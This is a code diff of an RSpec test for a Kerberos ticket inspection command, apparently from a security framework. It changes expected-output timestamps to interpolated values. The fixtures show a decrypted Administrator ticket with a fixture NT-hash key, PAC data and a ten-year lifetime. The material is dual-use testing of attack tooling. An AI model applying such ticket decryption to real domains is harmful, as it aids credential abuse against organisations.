@@ -566,10 +566,10 @@ RSpec.describe 'kerberos inspect ticket' do
|
||||
Addresses: 0
|
||||
Authdatas: 0
|
||||
Times:
|
||||
Auth time: 2023-01-13 14:31:25 +0000
|
||||
Start time: 2023-01-13 14:31:25 +0000
|
||||
End time: 2033-01-10 14:31:25 +0000
|
||||
Renew Till: 2033-01-10 14:31:25 +0000
|
||||
Auth time: #{Time.parse('2023-01-13 14:31:25 UTC').to_time}
|
||||
Start time: #{Time.parse('2023-01-13 14:31:25 UTC').to_time}
|
||||
End time: #{Time.parse('2033-01-10 14:31:25 UTC').to_time}
|
||||
Renew Till: #{Time.parse('2033-01-10 14:31:25 UTC').to_time}
|
||||
Ticket:
|
||||
Ticket Version Number: 5
|
||||
Realm: WINDOMAIN.LOCAL
|
||||
@@ -585,7 +585,7 @@ RSpec.describe 'kerberos inspect ticket' do
|
||||
|
||||
let(:expected_decrypted_nthash_output) do
|
||||
expected_output = ["#{file_format} File:#{ticket_path}"]
|
||||
expected_output << <<~'EOF'.chomp # Single quote removes interpolation for the hex results
|
||||
expected_output << <<~EOF.chomp
|
||||
Primary Principal: Administrator@WINDOMAIN.LOCAL
|
||||
Ccache version: 4
|
||||
|
||||
@@ -601,10 +601,10 @@ RSpec.describe 'kerberos inspect ticket' do
|
||||
Addresses: 0
|
||||
Authdatas: 0
|
||||
Times:
|
||||
Auth time: 2023-01-13 14:36:39 +0000
|
||||
Start time: 2023-01-13 14:36:39 +0000
|
||||
End time: 2033-01-10 14:36:39 +0000
|
||||
Renew Till: 2033-01-10 14:36:39 +0000
|
||||
Auth time: #{Time.parse('2023-01-13 14:36:39 UTC').to_time}
|
||||
Start time: #{Time.parse('2023-01-13 14:36:39 UTC').to_time}
|
||||
End time: #{Time.parse('2033-01-10 14:36:39 UTC').to_time}
|
||||
Renew Till: #{Time.parse('2033-01-10 14:36:39 UTC').to_time}
|
||||
Ticket:
|
||||
Ticket Version Number: 5
|
||||
Realm: WINDOMAIN.LOCAL
|
||||
@@ -614,10 +614,10 @@ RSpec.describe 'kerberos inspect ticket' do
|
||||
Key Version Number: 2
|
||||
Decrypted (with key: 88e4d9fabaecf3dec18dd80905521b29):
|
||||
Times:
|
||||
Auth time: 2023-01-13 14:36:39 UTC
|
||||
Start time: 2023-01-13 14:36:39 UTC
|
||||
End time: 2033-01-10 14:36:39 UTC
|
||||
Renew Till: 2033-01-10 14:36:39 UTC
|
||||
Auth time: #{Time.parse('2023-01-13 14:36:39 UTC').to_time}
|
||||
Start time: #{Time.parse('2023-01-13 14:36:39 UTC').to_time}
|
||||
End time: #{Time.parse('2033-01-10 14:36:39 UTC').to_time}
|
||||
Renew Till: #{Time.parse('2033-01-10 14:36:39 UTC').to_time}
|
||||
Client Addresses: 0
|
||||
Transited: tr_type: 0, Contents: ""
|
||||
Client Name: 'Administrator'
|
||||
@@ -627,7 +627,7 @@ RSpec.describe 'kerberos inspect ticket' do
|
||||
Flags: 0x50a00000 (FORWARDABLE, PROXIABLE, RENEWABLE, PRE_AUTHENT)
|
||||
PAC:
|
||||
Validation Info:
|
||||
Logon Time: 2023-01-13 14:36:39 +0000
|
||||
Logon Time: #{Time.parse('2023-01-13 14:36:39 UTC').to_time}
|
||||
Logoff Time: Never Expires (inf)
|
||||
Kick Off Time: Never Expires (inf)
|
||||
Password Last Set: No Time Set (0)
|
||||
@@ -664,7 +664,7 @@ RSpec.describe 'kerberos inspect ticket' do
|
||||
Logon Domain Name: 'WINDOMAIN.LOCAL'
|
||||
Client Info:
|
||||
Name: 'Administrator'
|
||||
Client ID: 2023-01-13 14:36:39 +0000
|
||||
Client ID: #{Time.parse('2023-01-13 14:36:39 UTC').to_time}
|
||||
Pac Server Checksum:
|
||||
Signature: 1a038d8dd257a7d9b875280259ab0e4a
|
||||
Pac Privilege Server Checksum:
|
||||
@@ -676,7 +676,7 @@ RSpec.describe 'kerberos inspect ticket' do
|
||||
let(:expected_encrypted_nthash_output) do
|
||||
expected_output = ['No decryption key provided proceeding without decryption.']
|
||||
expected_output << "#{file_format} File:#{ticket_path}"
|
||||
expected_output << <<~'EOF'.chomp # Single quote removes interpolation for the hex results
|
||||
expected_output << <<~EOF.chomp
|
||||
Primary Principal: Administrator@WINDOMAIN.LOCAL
|
||||
Ccache version: 4
|
||||
|
||||
@@ -692,10 +692,10 @@ RSpec.describe 'kerberos inspect ticket' do
|
||||
Addresses: 0
|
||||
Authdatas: 0
|
||||
Times:
|
||||
Auth time: 2023-01-13 14:36:39 +0000
|
||||
Start time: 2023-01-13 14:36:39 +0000
|
||||
End time: 2033-01-10 14:36:39 +0000
|
||||
Renew Till: 2033-01-10 14:36:39 +0000
|
||||
Auth time: #{Time.parse('2023-01-13 14:36:39 UTC').to_time}
|
||||
Start time: #{Time.parse('2023-01-13 14:36:39 UTC').to_time}
|
||||
End time: #{Time.parse('2033-01-10 14:36:39 UTC').to_time}
|
||||
Renew Till: #{Time.parse('2033-01-10 14:36:39 UTC').to_time}
|
||||
Ticket:
|
||||
Ticket Version Number: 5
|
||||
Realm: WINDOMAIN.LOCAL
|
||||
|
||||
Reference in New Issue
Block a user